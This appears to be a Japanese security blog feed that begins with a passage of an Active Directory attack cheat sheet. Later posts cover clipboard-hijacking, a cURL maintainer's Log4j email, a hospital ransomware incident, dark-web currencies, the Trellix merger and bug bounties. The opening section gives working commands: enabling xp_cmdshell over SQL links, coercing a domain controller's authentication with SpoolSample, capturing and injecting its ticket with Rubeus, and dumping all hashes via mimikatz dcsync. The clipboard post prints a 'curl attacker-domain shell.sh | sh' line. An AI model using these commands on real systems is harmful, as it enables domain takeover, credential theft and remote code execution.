Get-SQLServerLinkCrawl -Instance <SPN> -Verbose
     
#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Query execution:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

Breaking Forest Trusts

WUT IS DIS?:
TL;DR
If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest.

Tools we are going to use:

Exploitation example:

#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all 

Detailed Articles:

ウェブページからコピペすると、ハッキングされる可能性があります / Don't copy-paste commands from webpages — you can get hacked(転載)~まずテキストエディタに張り付ける~


Don't copy-paste commands from webpages — you can get hacked:

プログラマー、シスアド、セキュリティ研究者、技術系ホビーユーザーなどが、ウェブページのコマンドをコンソールやターミナルにコピー&ペーストしている場合、システムが危険にさらされる危険性があると警告しています。

クリップボードにバックドア?

最近、セキュリティ教育プラットフォームWizerの創設者であるGabriel Friedlanderが、Webページからのコマンドのコピー・ペーストに注意するようになる、明白でありながら驚くべきハックを実演しました。

初心者でも熟練者でも、よく使うコマンドをウェブページ(StackOverflowなど)からコピーして、自分のアプリケーションやWindowsのコマンドプロンプト、Linuxのターミナルに貼り付けることは珍しくありません。

しかしフリードランダー氏は、ウェブページはクリップボードに入る内容を密かに置き換えている可能性があり、実際にクリップボードにコピーされる内容は、コピーしようと思っていた内容とは大きく異なってしまうと警告している。

さらに悪いことに、十分な注意を払わないと、開発者はテキストを貼り付けた後で自分の間違いに気づくことになり、その時点で手遅れになる可能性がある。

Friedlander氏は、自身のブログで公開した簡単な概念実証(PoC)の中で、ほとんどのシステム管理者や開発者が知っているような簡単なコマンドをコピーするように読者に求めています。


さて、フリードランダーのブログからコピーしたものをテキストボックスやメモ帳に貼り付けてみると、その結果に驚かされることでしょう。

curl http://attacker-domain:8000/shell.sh | sh
 

クリップボード上に全く別のコマンドが存在することになるだけでなく、さらに悪いことに、そのコマンドの最後には改行(またはリターン)文字が含まれています。

つまり、上記の例はLinuxのターミナルに直接貼り付けるとすぐに実行されてしまうのです。

このテキストを貼り付けた人は、システムにインストールされているソフトウェアの更新情報を取得するために使用される、おなじみの無害なコマンド sudo apt update をコピーしていると勘違いしていたかもしれません。

しかし、それは全く違う。

その原因は何でしょうか?

このマジックは、Friedlanderが設定したPoC HTMLページの背後に隠されたJavaScriptのコードにあります。

HTML要素に含まれる「sudo apt update」テキストをコピーすると、すぐに以下のようなコードスニペットが実行されます。

その後、JavaScriptの「イベントリスナー」がコピーイベントをキャプチャし、クリップボードのデータをFriedlander氏の悪意のあるテストコードに置き換えます。


イベントリスナーは、JavaScriptにおいて様々な正当な使用例がありますが、これは悪用される可能性のある一例であることに注意してください。

Friedlander氏は、「だから、コマンドを直接ターミナルにコピーペーストしてはいけないんだ」と警告しています。

「コピーしたつもりが、悪意のあるコードなど別のものに置き換えられてしまうのです。コピーしたコードに一行のコードを注入するだけで、アプリへのバックドアを作ることができるのです。"

"この攻撃は非常にシンプルですが、非常に有害でもあります。"

また、Redditのユーザーは、JavaScriptを必要としないこのトリックの別の例として、HTMLとCSSのスタイリングで作られた目に見えないテキストが、見える部分のテキストをコピーすると、クリップボードにコピーされることを紹介しています。


"問題は、ウェブサイトがJavaScriptを使ってクリップボードの内容を変更できるということだけではありません "と、ユーザーのSwallowYourDreamsは説明しています。

"人間の目には見えないが、コンピュータにコピーされるようなコマンドをHTMLに隠しているだけかもしれない。"

というわけで、ウェブページからコピーしたものを決して盲目的に信用してはいけないもう一つの理由、それはまずテキストエディタに貼り付ける方が良いということだ。

単純なことではあるが、日常のセキュリティの重要な教訓である。

オープンソースcURLの作者、某大企業から「24時間以内にこの質問に答えるように」との無礼なメールを受け取る

オープンソースcURLの作者、某大企業から「24時間以内にこの質問に答えるように」との無礼なメールを受け取る
publickey1.jp/blog/22/curl24…

コマンドラインからさまざまなプロトコルでデータ転送を実行できる「curl」コマンド(以下cURL)は、多くのITエンジニアにとって欠かせない、非常に便利なツールです。

cURLはオープンソースで開発されているソフトウェアです。先日その作者であるDaniel Stenberg氏に、某大企業からオープンソースを全く理解していないとみられる大変無礼なメールが届いたとして話題になっています。


メールの宛名となっている「Haxx」は、cURLのトップスポンサーとして名前が掲載されている開発者の集まりです。

メールの送信元となる会社名や製品名はStenberg氏の判断で黒塗りになっていますが、フォーチュン500に入る大企業とのこと。

メール本文の1行目から2行目にはこうあります「あなたがこのメールを受け取ったのは、■■があなたが開発した製品を採用しているためです。私たちはこのメールをあなたが受け取ってから24時間以内に、お読みいただいた上でご返答いただくよう要求します」。

本文に続いて、先日脆弱性が発見されて話題となったLog4jに関係する8つの質問が連なっています。

つまり、まるで商用製品を購入した顧客が開発元にサポートを要求するのと同じことを、オープンソースの作者に要求しているのです。

メールの発信者はcURLがオープンソースであることを知らないのでしょう。

オープンソースを理解していないユーザーの存在

Stenberg氏は、このことについて記したブログ「LOGJ4 SECURITY INQUIRY – RESPONSE REQUIRED」で次のように書いています。

I think maybe this serves as a good example of the open source pyramid and users in the upper layers not at all thinking of how the lower layers are maintained.

これは、オープンソースのピラミッドの良い例だと思う。上位層にいるユーザーは、下位層がどのようにメンテナンスされているかについて全く考えが及ばないのだ。

Stenberg氏が指摘するように、オープンソースのことを理解せずに使っているユーザーが多数存在することは事実です。


オープンソース開発者のことを顧みないユーザーが多いことに業を煮やした末の事件でしょう。


オープンソースが普及し、多くの企業やクラウドがユーザーとしてその成果を享受する一方で、開発者に対して何らかの価値をどうやって還元するべきなのかは、いまだにユーザーとオープンソース開発者のあいだですっきりと解決できない大きな課題となっています。

今回もcURLの件も、ユーザー側のオープンソースに対する無理解に起因した事象といえます。

ちなみにStenberg氏はすぐさま「サポート契約を結んでいただければ、喜んですべて速やかにお答えしますよ」と返したそうです。

実録:ランサムウエアに感染するとこうなるvol.2(転載)~サイバー攻撃に地方とか田舎とかは関係ない~


ランサムウェア、徳島県の病院から学ぶこと (アーカイブ

四国山地をつらぬく吉野川沿いにひらけた人口8千人ほどの徳島県つるぎ町。手延べそうめんの里で知られる静かな中山間地域の病院がいま、サイバー攻撃を受け、困難と立ち向かっている。

2021年10月31日未明、ランサムウェア(身代金ウイルス)によって、患者の診察記録を預かる電子カルテが失われるなど甚大な被害を被った。

日本におけるランサムウェアの被害で、住民生活を脅かす深刻な事態に発展した初のケースとみられる。



ランサムウェア攻撃は2021年10月31日午前0時半ごろ、深夜の病棟に置かれていた十数台のプリンターが、一斉に印字を始めたことで発覚した。

印刷の指示を出したのは、パソコンに感染していたウイルス。国際的サイバー犯罪集団「LockBit」による犯行声明だった。

「Your data are stolen and encrypted」(あなたのデータは盗まれ、そして暗号化された)

「The data will be published…」(データは公開されるだろう)

英文の犯行声明には、サイバー犯罪集団と接触するために必要な、ダークウェブのアドレスが記されていた。病院側はその後、犯人側と接触したり、交渉したりしないことを決め、アドレスにはアクセスしていないとしている。

犯行声明がプリンターから吐き出された直後、病院内のネットワークに接続された、電子カルテシステムが動かなくなった。さらには200台近くあるパソコンのうち40台ほどのデータが暗号化されたことが、のちの調査で判明した。

これらの原因は、患者の記録を保存する電子カルテシステムや、Active Directoryのサーバーがランサムウェアに感染していたことで引き起こされた。

トラブル発生の一報を受け、駆けつけた病院のシステム担当者は、サーバー室にあるモニター画面を見て、頭が真っ白になった。赤色の文字で「重要なファイルが暗号化された」と表示されていた。

気を取り直し、深夜の病院で一人、パソコンのLANケーブルを全て引き抜き、バックアップサーバーの電源も切断した。だがオンラインでつながれていたバックアップも、すでに被害を受けていた。


一夜明け、病院側は近隣の病院に連絡を取り、救急患者を代わって受け入れてくれるよう依頼した。CTやMRIの画像サーバーも被害を受け、検査ができなくなった。会計など医療事務関連のシステムも動かなかった。

病院の置かれている状況は、大災害が直撃した被災地と変わらなかった。病院側は災害対策本部を立ち上げ、トップの病院事業管理者が非常事態を宣言した。

復旧に向けて真っ先に動き出したのは、災害派遣医療チームである通称「DMAT(Disaster Medical Assistance Team)」のメンバーだった。DMATは厚生労働省が任命する特命チームだ。

病院は、南海トラフ地震を想定した事業継続計画(BCP)を作っていた。停電発生時などでも「最低限の医療を維持」するフェイルセーフの発想に基づき、訓練を重ねていた。

サイバーテロで役に立つとは思ってもみなかったと、病院スタッフはいう。

動かない電子カルテシステムを諦め、以前の紙カルテを使った診察に移行した。会計システムの停止で診療報酬が算出できず、診察費用を後日請求することになった。

病院内の初動対応は、DMATの災害支援スタイルに沿って進められた。

各部門から2時間おきに報告が入り、それを時系列でホワイトボードに書き込む。「クロノロジー(Chronology)」と呼ばれる災害や緊急時の情報管理手法だ。

日が経つにつれ、復旧に向けて取り組まなければならない事項が増える。今度はそれを、「ToDo」(するべきこと、問題解決)リストとして書き出し、完了すると赤いペンで項目の左側にチェックを入れていった。

これらはすべて、DMATの訓練メニューに盛り込まれている。

対策本部の運営や役割分担は、日々の訓練で事前に決められている。サイバー攻撃で大混乱する現場の中でも、対策本部がスムーズに運営できたのは、こうした背景があった。

セキュリティインシデントやシステムトラブルといえば、組織の情報システム担当者が事案に対応するのが一般的だろう。

ところが病院は、全職員が一丸となって復旧に向けて動いた。

それは、災害対策本部に掲げられた「基本方針」からも読み取れた。

「今いる入院患者を守る」

「外来患者は基本的に予約再診のみ」

「電カル(電子カルテ)復旧に努める」

「皆で助けあって乗り切ろう!」

例えば、200台近くあるパソコンがランサムウェアに感染しているかどうかのウイルスチェック。システム担当者が簡単なチェック表を作り、看護師や事務職員がそれを見ながら手分けして作業した。

「感染洗い出し作業作戦」と銘打ち、その結果、40台近いパソコンの感染を1日で見つけた。感染したパソコンは、赤い丸のシールを貼って、対策本部に運び込み「隔離」した。

院内の医療機器のチェックや、被害を受けたサーバーの調査依頼、外部ベンダーとのやりとりなど、やらなければならないことは山ほどあった。


病院はベッド数が120床の中規模病院だ。システム担当者が1人で、全てを切り盛りしていた。だが今回のような未曾有の脅威に対し、1人で対処することは到底不可能だった。

システム担当者によれば、病院全体のシステムが停止するという事態は初めて。むろん、サイバー攻撃の被害を経験したことも生まれて初めてだった。

「1人で作業をしていたら間違いなく心が折れていました」というシステム担当者は、病院一丸となって困難に立ち向かう体制に感謝していると語った。

一方で、人命に直結する病院のシステムが1人で支えられていたという事実は、大きな課題と言える。機器の調達からシステムトラブルなど、すべてをこなす必要があり、自ずとベンダーに任せてしまう傾向が出てくる。


今回、ランサムウェアに感染したきっかけは、完全に特定できていない。ただ取材を進めると、「外部のインターネットと切り離している」という病院内のネットワークに、複数のVPN機器が接続されていたことがわかった。

多くはベンダーが設置した、リモートメンテナンス用の機器だった。管理については設定も含め、ベンダー側に任せていた、とシステム担当者は説明した。

システム担当者が1人という背景事情には、病院経営の構図も関係しているようだ。収入は国が定める診療報酬に依存しているため、病院の規模や診療科によって自ずと上限が見えてくる。

つまり、安定した病院経営を目指すためには、事務部門やバックオフィスを効率化せざるを得なくなる。

同じような事情は、日本中の病院が抱えている。

ダークウェブにおける主要通貨と簡単な紹介


 世の中、ランサムウェアによる被害が広がっているが、そのランサムウェアギャングのサイトを一覧化したサイトを見つけた。

このリンクに飛ぶと実際のランサムウェアギャングの公式サイトに遷移する。

12月に某日本企業の機密情報をハッキングしたと称する、あるランサムウェアギャングのサイトに遷移すると、実際に窃取した情報が公開されており、少し背筋が凍った。

今日はランサムウェアの話ではなく、一覧サイトのトップに書かれている寄付について。

ダークウェブにおける基軸通貨はビットコイン(BTC)と思っていたのだが、意外にも受け付ける通貨の種類が増えていて驚いた。また、準基軸通貨と思っていたイーサリアム(ETH)では寄付を受けてけていなかった点も少し驚いた。

まず最上位に記載されていたのがDOGEコイン。仮想通貨ランキング12位の通貨

DOGECOIN(DOGE)は、インターネット上で人気のミーム(インターネットを通じて人から人へと、通常は模倣として拡がっていく行動・コンセプト・メディアのこと)「doge」をベースに、柴犬をロゴにあしらったコインです。オレゴン州ポートランドのBilly Markus氏とオーストラリア・シドニーのJackson Palmer氏によって作られたオープンソースのデジタル通貨で、2013年12月にLitecoinからフォークされたものである。Dogecoinの作成者は、犬のミームをベースにしていることから、Bitcoinのコアな利用者を超えてより大きな魅力を持つ、楽しくて軽快な暗号通貨として構想していたのである。テスラCEOのイーロン・マスクは、Dogecoinがお気に入りのコインであるというツイートをソーシャルメディアに何度か投稿している。


次がLTCコイン。仮想通貨ランキング18位

ライトコイン(LTC)は、ブロックチェーン技術のユニークな特性を活用し、高速で安全かつ低コストの決済を提供するために設計された暗号通貨です。

この暗号通貨はビットコイン(BTC)のプロトコルをベースに作られましたが、使用するハッシュアルゴリズム、ハードキャップ、ブロック取引時間、その他いくつかの要素で違いがあります。ライトコインはブロックタイムが2.5分と短く、取引手数料も極めて低いため、マイクロトランザクションやPOS決済に適している。

ライトコインは2011年10月7日にオープンソースのクライアントがGitHubで公開され、その5日後の10月13日にライトコインネットワークが稼動した。それ以来、ライトコインは爆発的に普及し、取引先にも受け入れられ、時価総額でトップ10に入る暗号通貨として君臨している。

ライトコインは、元グーグル社員のチャーリー・リーによって作られた。チャーリーは、ライトコインを「ビットコインのライト版」と位置づけ、ビットコインと同じ性質を持つが、より軽量であることを特徴とする暗号通貨を目指した。


次がビットコイン(BTC)、ビットコインキャッシュ(BCH)。ビットコインは有名なので割愛。ビットコインキャッシュ(BCH)について説明する。ちなみにBCHはランキング24位

ビットコインキャッシュは、高速決済、マイクロフィー、プライバシー、高い取引容量(ビッグブロック)を備えた健全なグローバルマネーを目指すピアツーピアの電子キャッシュシステムです。ドル紙幣などの物理的なお金が支払われる人に直接手渡されるのと同じように、ビットコインキャッシュの支払いは、ある人から別の人へ直接送られます。

パーミッションレスで分散型の暗号通貨であるビットコインキャッシュは、信頼できる第三者や中央銀行を必要としません。従来の不換紙幣とは異なり、ビットコインキャッシュは銀行や支払処理業者などの金銭的仲介者に依存しません。取引は、政府や他の中央集権的な企業によって検閲されることはありません。同様に、資金を押収したり凍結したりすることもできません。なぜなら、金融サードパーティはビットコインキャッシュネットワークをコントロールできないからです。


最後がモネロ(XMR)。ランキング45位。

Moneroは2014年に発売されましたが、その目的はシンプルで、匿名性を保ったまま個人で取引ができるようにすることです。BTCは個人の身元を隠せると一般的に考えられていますが、ブロックチェーンは透明性が高いため、支払いの元をたどるのは簡単なことが多いのです。一方、XMRは高度な暗号技術を用いることで、送信者も受信者も不明瞭になるように設計されています。

Moneroの開発チームは、プライバシーとセキュリティが最大の優先事項であり、使いやすさと効率はその次であると述べている。技術的な能力に関係なく、すべてのユーザーに保護を提供することを目指しています。

全体として、XMRは検閲を恐れることなく、迅速かつ安価に支払いを行うことを目的としています。


尚、スクリーンショットは2021年12月某日のものなので、あしからず。

FireEye + McAfee = Trellix!?


Trellixになったのか!:

McAfeeといえば、創業者が逮捕されて2021年刑務所で死亡していて微妙なイメージ。

FireEyeはネットワークでセキュリティのすべてを解決できるようなノリの印象があって、個人的にイメージは良くない。

そんな二つの会社が統合されるらしい。

ーー

投資グループのSymphony Technology Group(STG)は2022年1月19日、買収・統合によって2021年10月に設立したMcAfeeの法人セキュリティ事業部門(McAfee Enterprise)と旧FireEyeの製品事業部門による新会社の名称を「Trellix(トレリックス)」にすると発表した。

この名称には、植物や樹木の支えに使われる「トレリス」に由来し、強く安定した構造をイメージさせるものだという。新会社では、エンドポイントやネットワークでの脅威の検知および対応(XDR)のテクノロジーおよびソリューションを主力に据える。

最高経営責任者(CEO)のBryan Palma氏は、報道発表の中で「TrellixのXDRプラットフォームは、自動化、機械学習、拡張可能なアーキテクチャー、脅威インテリジェンスを用い、セキュリティ対策に新たな息吹をもたらすことで顧客を守る」と表明。このXDRには、エコシステムを通じて600以上のセキュリティソリューションが連携するとしている。

STGは、旧McAfeeの法人セキュリティ事業のうちクラウドアクセスセキュリティブローカー(CASB)やセキュアウェブゲートウェイ(SWG)、ゼロトラストネットワークアクセスなど「セキュアサービスエッジ」に分類するポートフォリオについて、2022年第1四半期末に独立事業とすることも発表した。

バグバウンティの紹介 / Introduction to Bug Bounties(転載)


Introduction to Bug Bounties | by Vedant Roy:

一般的には、クラウドソースによるペネトレーションテストのことで、世界中のセキュリティリサーチャーが、企業が許可したスコープ内の資産の一部をテストすることができます。企業の資産にバグを発見した場合の報酬は、現金、グッズ、殿堂入り、感謝状のいずれかです。

武漢ウイルスの流行により主流になりつつあります。ペネトレーションテスト担当者やエシカルハッカーの多くは、移動時間やオフィスに行くための基本的な準備にかかる時間を節約し、より多くのタスクを短時間で簡単にこなすことで、フルタイムの仕事に多くの余裕を見出しています。また、副業をして副収入を得ることも悪くありません。雇用の喪失や企業の閉鎖を考えると、卵は別のカゴに入れておいたほうがいいでしょう。

さて、どうやって始めるかというと、この分野に関する予備知識があるかないかによります。フルタイムのペネトレーション・テスターとして働いている場合は、プロセス全体のインとアウトをある程度知っている方が始めやすいでしょう。キャリアの浅い方や転職を考えている方でも、まずはこの分野から始めてみるといいでしょう。上記のような制約があっても、それとは無関係に手順やリソースをお伝えします。

  1. プログラミングを学ぶ – この分野ではプログラミングは必須ではありませんが、コードを読み、どのように動作しているのか、異なるスニペットがどのように相互接続されているのかを理解できる程度には学んでおくことをお勧めします。Python、SQL、JavaScriptから始めるのがよいでしょうが、ウェブアプリケーションの機能を理解するために、ローカルサーバーのホスト上で自分のテストアプリケーションを書けるように、PHPも一緒に学ぶことをお勧めします。常に覚えておいてほしいのは、「機能を知らないのに、何かを壊すことはできない」ということです。

  2. セキュリティの基本概念 – ウェブサイトの仕組み、コンピュータネットワーク、入門的な調査、Nmap、Burp Suite、OWASP ZAPなどの各種セキュリティツールの使い方など、基本的な概念を学ぶことは絶対に必要です。他にも、コンピュータネットワークの基礎、VPS(仮想プライベートサーバー)の設定方法、ラボやテスト環境の構築など、学ぶべき前提条件はたくさんあります。参考文献に記載されているNahamsecのgitリポジトリは、これらの学習を始めるのに適した場所です。

  3. OWASP TOP 10 – これは、ウェブアプリケーションで発見されたセキュリティ脆弱性のトップ10を集めたものです。OWASP を学ぶための最良の方法は、まず OWASP.org のウェブサイトから始めて、そのプレビューを見ることです。必要であれば、OWASP OTG に目を通し、より理解を深めることもできます。実践のためには、PortSwigger 社の Web セキュリティ・アカデミーが最適です。このリソースは、常に新しい攻撃手法を追加しており、完全に無料であるため、非常にお勧めです。

  4. 本を読む – もしあなたが熱心な読書家であれば、参考文献や詳細な学習のために保管しておかなければならない本がいくつかあります。「Web application Hacker's handbook 2nd edition」は、Webセキュリティ分野のバイブルとされており、執筆者のDafydd Stuttard氏は、Portswigger社の創業者です。(Burp suite, web security academy)。その他の推奨書籍としては、「Web Hacking 101」、「Bug Bounty Bootcamp」、「Breaking into Infosec」、「Tangled Web」などがあります。

  5. ハンティングを始める – 概念を学び始めたら、理解を深めるために実際に手を動かすことが必要です。そのための最良の方法は、脆弱性開示プログラム(VDP)でバグを探し始めることです。これらのプログラムでは、ウェブサイト上に栄誉が与えられますが、金銭的な報酬はありません。そのため、熟練したバグバウンティハンターの数が少なく、有効なバグを発見する範囲が広いため、簡単にバグを発見することができるのです。オープンバグバウンティは、世界中のVDPをリストアップするプラットフォームのひとつです。しかし、何かを見つけるためにスキャナーを動かし始めるのはやめましょう。手動でテストするだけにしましょう。

  6. ツイッターでフォローする – Twitterはバグバウンティ/セキュリティ研究者のハブとなっています。新しい攻撃手法や新しいツールが常に追加され、ハッシュタグ#bugbounty-tipsを使ってこれらの手法を一箇所にまとめています。bugbounty, #bugbountytips #hacking などのハッシュタグをフォローすると、ニュースフィードが更新されます。

  7. モチベーションを高める映画・ドキュメンタリー – この旅を始めるには、モチベーションが重要です。ハッキングの歴史を知り、なぜ当初は犯罪とみなされていたのかを知ることで、この分野への理解が深まります。私がお勧めする映画/ドキュメンタリーをいくつかご紹介しましょう。「Who am I hacker」(ドイツ語)、「Zero Days」(ドキュメンタリー)、「Mr.Robot」(シリーズ)、「Person of Interest」(シリーズ)、「CSI Cyber」(シリーズ)、「Cyberwar」(ドキュメンタリーシリーズ)、「Hacker」(映画)などがあります。

  8. メンタルヘルス – バグバウンティを長期間行っていると、燃え尽きてしまうことがあります。一般的な誤解として、良いバグが見つからない、バグが重複している、修正チームの反応が遅いなどが主な原因とされていますが、実際には昼夜の仕事をこなすことが一般的な理由です。ですから、これらの症状を感じ始めたら、必ずしばらく休むようにしてください。それ以外にも、体を動かして健康を保ち、7~8時間の睡眠をとることで、順調に経過します。通常、期間は人によって異なることがあるので、コメントできるような特定のタイムラインはありません。常に覚えておいてほしいのは、精神的な健康が最優先であるということです。

最後に、簡単な作業ではないことを覚えておいてください。セキュリティの脆弱性を見つけ出し、ハッカーとしての考え方を身につけるには、多くの時間と努力が必要です。挫折したり、疲れ果てたりするかもしれませんが、それだけの価値はあるはずです。インターネットを他の人にとってより安全な場所にすることは、常に良い選択なのです。

この記事が、読者の皆さんの中で、バグバウンティを始めようと思っている人や、この分野の素晴らしい人たちと一緒に仕事をしようと思っている人の刺激や手助けになれば幸いです。ありがとうございました。

リファレンスとリソース